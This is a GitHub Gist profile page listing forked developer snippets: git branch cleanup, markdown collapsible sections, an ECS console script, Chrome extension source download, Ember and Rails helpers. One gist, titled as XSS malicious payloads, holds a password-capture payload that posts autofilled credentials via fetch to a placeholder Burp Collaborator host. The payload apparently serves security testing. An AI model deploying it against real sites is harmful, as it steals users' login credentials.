Skip to content

Instantly share code, notes, and snippets.

View Ryman's full-sized avatar

Kevin Butler Ryman

  • Berlin
View GitHub Profile
@Ryman
Ryman / local stale branch delete
Created February 8, 2023 13:16 — forked from ParikshitChavan/local stale branch delete
delete all local local branches which have been deleted from remote
git fetch -p && git branch -vv | awk '/: gone]/{print $1}' | xargs git branch -d
@Ryman
Ryman / markdown-details-collapsible.md
Created November 7, 2022 15:16 — forked from pierrejoubert73/markdown-details-collapsible.md
How to add a collapsible section in markdown.

How to

<details>
  <summary>Click me</summary>
  
  ### Heading
  1. Foo
  2. Bar
     * Baz
 * Qux
@Ryman
Ryman / ecs-interactive-console.sh
Created October 10, 2022 22:14 — forked from clarkdave/ecs-interactive-console.sh
ecs-interactive-console
#!/bin/bash -e
##
# Use this annotated script a base for launching an interactive console task on Amazon ECS
#
# more info: https://engineering.loyaltylion.com/running-an-interactive-console-on-amazon-ecs-c692f321b14d
#
# Requirements:
# - `jq` must be installed on both the client and server
##
@Ryman
Ryman / capture-passwords.js
Created September 6, 2022 21:43 — forked from kibelous/capture-passwords.js
[XSS] Malicious payloads
// if users use password managers to autofill credentials
<input name='username' id='username'>
<input type='password' name='password' onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
@Ryman
Ryman / how-to-view-source-of-chrome-extension.md
Created December 29, 2020 18:29 — forked from paulirish/how-to-view-source-of-chrome-extension.md
How to view-source of a Chrome extension

Option 1: Command-line download extension as zip and extract

extension_id=jifpbeccnghkjeaalbbjmodiffmgedin   # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" 
unzip -d "$extension_id-source" "$extension_id.zip"

Thx to crxviewer for the magic download URL.

@Ryman
Ryman / plink-plonk.js
Created May 2, 2020 04:43 — forked from tomhicks/plink-plonk.js
Listen to your web pages
@Ryman
Ryman / has-zero-or-one.md
Created December 21, 2019 19:33 — forked from jamesarosen/has-zero-or-one.md
Ember-Data: hasZeroOrOne

Background

In our app, we have a number of different has-zero-or-one relationships where the foreign object may or may not exist. For example, a Customer may or may not have a CreditCard on file, but it won't have more than one.

We started with something like

// app/models/customer.js
export default DS.Model.extend({
@Ryman
Ryman / as_yaml.rb
Created August 8, 2019 20:06 — forked from jwreagor/as_yaml.rb
ActiveModel::Serializers::YAML
# require 'active_support/core_ext/class/attribute'
module ActiveModel
# == Active Model YAML Serializer
module Serializers
module YAML
extend ActiveSupport::Concern
include ActiveModel::Serialization
included do
# This file extends and overrides parts of the ActiveAdmin DSL and internals
# in order to provide support for automatically displaying and editing images,
# which in our infrastructure are stored as URLs whose column names end in "img".
# Since this file will be reloaded frequently in the development environment,
# all operations done at load time (class_eval's, etc.) MUST be idempotent.
ActiveAdmin::Views::TableFor.class_eval do
def img_column(col_sym=:img, title="Image")
column title, sortable: false do |obj|
require 'octokit'
username = ''
password = ''
org_name = 'honeypotio'
board_name = 'The Agile Bear'
column_name = 'Live/Done'
client = Octokit::Client.new(login: username, password: password)
user = client.user